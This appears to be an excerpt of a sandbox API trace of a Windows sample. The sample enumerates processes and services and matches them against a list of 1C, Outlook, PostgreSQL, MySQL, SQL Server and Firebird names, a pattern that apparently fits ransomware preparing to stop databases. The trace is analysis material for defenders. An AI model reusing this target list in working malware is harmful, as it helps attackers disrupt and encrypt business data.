	[0253.886] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0253.886] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0253.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0253.886] lstrlenW (lpString="Themes") returned 6
	[0253.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0253.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0253.886] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0253.886] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0253.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0253.886] lstrlenW (lpString="UxSms") returned 5
	[0253.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0253.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0253.886] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0253.886] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0253.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0253.886] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0253.886] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x33c
	[0253.888] Process32FirstW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0253.888] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0253.888] lstrlenW (lpString="System") returned 6
	[0253.888] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0253.888] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0253.888] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0253.888] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0253.888] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0253.888] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0253.888] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0253.889] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0253.889] lstrlenW (lpString="smss.exe") returned 8
	[0253.889] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0253.889] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0253.889] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0253.889] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0253.889] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0253.889] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0253.889] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0253.889] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0253.889] lstrlenW (lpString="csrss.exe") returned 9
	[0253.889] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0253.889] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0253.889] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0253.889] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0253.889] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0253.889] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0253.889] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0253.890] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0253.890] lstrlenW (lpString="wininit.exe") returned 11
	[0253.890] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0253.890] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0253.890] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0253.890] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0253.890] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0253.890] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0253.890] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0253.890] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0253.890] lstrlenW (lpString="csrss.exe") returned 9
	[0253.890] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0253.890] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0253.890] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0253.890] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0253.891] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0253.891] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0253.891] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0253.891] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0253.891] lstrlenW (lpString="winlogon.exe") returned 12
	[0253.891] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0253.891] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0253.891] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0253.891] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0253.891] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0253.891] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0253.891] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0253.891] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0253.891] lstrlenW (lpString="services.exe") returned 12
	[0253.891] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0253.891] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0253.891] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0253.892] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0253.892] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0253.892] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0253.892] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0253.892] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0253.892] lstrlenW (lpString="lsass.exe") returned 9
	[0253.892] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0253.892] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0253.892] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0253.892] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0253.892] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0253.892] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0253.892] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0253.892] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0253.892] lstrlenW (lpString="lsm.exe") returned 7
	[0253.893] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0253.893] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0253.893] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0253.893] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0253.893] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0253.893] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0253.893] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0253.893] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0253.893] lstrlenW (lpString="svchost.exe") returned 11
	[0253.893] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0253.893] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0253.893] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0253.893] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0253.893] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0253.893] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0253.893] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0253.893] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0253.893] lstrlenW (lpString="svchost.exe") returned 11
	[0253.894] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0253.894] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0253.894] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0253.894] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0253.894] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0253.894] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0253.894] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0253.894] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0253.894] lstrlenW (lpString="svchost.exe") returned 11
	[0253.894] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0253.895] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0253.895] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0253.895] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0253.895] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0253.895] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0253.895] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0253.895] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0253.895] lstrlenW (lpString="svchost.exe") returned 11
	[0253.895] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0253.895] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0253.895] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0253.895] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0253.895] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0253.895] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0253.895] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0253.895] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0253.895] lstrlenW (lpString="svchost.exe") returned 11
	[0253.896] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0253.896] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0253.896] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0253.896] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0253.896] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0253.896] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0253.896] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0253.896] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0253.896] lstrlenW (lpString="audiodg.exe") returned 11
	[0253.896] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0253.896] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1
	[0253.896] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1
	[0253.896] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1
	[0253.896] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1
	[0253.896] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1
	[0253.896] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1
	[0253.896] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0253.896] lstrlenW (lpString="svchost.exe") returned 11
	[0253.897] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0253.897] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0253.897] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0253.897] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0253.897] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0253.897] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0253.897] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0253.897] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0253.897] lstrlenW (lpString="userinit.exe") returned 12
	[0253.897] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1
	[0253.897] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1
	[0253.897] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1
	[0253.897] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1
	[0253.897] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1
	[0253.897] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1
	[0253.897] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1
	[0253.897] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0253.897] lstrlenW (lpString="explorer.exe") returned 12
	[0253.898] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0253.898] lstrlenW (lpString="dwm.exe") returned 7
	[0253.898] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0253.898] lstrlenW (lpString="svchost.exe") returned 11
	[0253.898] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0253.899] lstrlenW (lpString="swpesp.exe") returned 10
	[0253.899] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0253.899] lstrlenW (lpString="spoolsv.exe") returned 11
	[0253.899] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0253.899] lstrlenW (lpString="dllhost.exe") returned 11
	[0253.899] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0253.899] lstrlenW (lpString="taskhost.exe") returned 12
	[0253.899] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0253.900] lstrlenW (lpString="svchost.exe") returned 11
	[0253.900] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0253.900] lstrlenW (lpString="reader_sl.exe") returned 13
	[0253.900] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0253.900] CloseHandle (hObject=0x33c) returned 1
	[0253.900] Sleep (dwMilliseconds=0x1f4) 
	[0254.459] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280a18
	[0254.467] EnumServicesStatusExW (in: hSCManager=0x4280a18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0254.468] GetLastError () returned 0xea
	[0254.468] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xacc) returned 0x41f5d68
	[0254.468] EnumServicesStatusExW (in: hSCManager=0x4280a18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xacc, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0254.468] CloseServiceHandle (hSCObject=0x4280a18) returned 1
	[0254.468] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0254.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0254.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0254.469] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0254.469] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0254.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0254.469] lstrlenW (lpString="AudioSrv") returned 8
	[0254.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0254.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0254.469] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0254.469] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0254.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0254.469] lstrlenW (lpString="BFE") returned 3
	[0254.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0254.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0254.469] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0254.469] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0254.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0254.469] lstrlenW (lpString="CscService") returned 10
	[0254.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0254.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0254.469] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0254.469] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0254.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0254.469] lstrlenW (lpString="DcomLaunch") returned 10
	[0254.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0254.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0254.469] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0254.469] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0254.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0254.470] lstrlenW (lpString="Dhcp") returned 4
	[0254.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0254.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0254.470] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0254.470] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0254.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0254.470] lstrlenW (lpString="Dnscache") returned 8
	[0254.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0254.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0254.470] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0254.470] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0254.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0254.470] lstrlenW (lpString="eventlog") returned 8
	[0254.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0254.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0254.470] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0254.470] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0254.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0254.470] lstrlenW (lpString="EventSystem") returned 11
	[0254.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
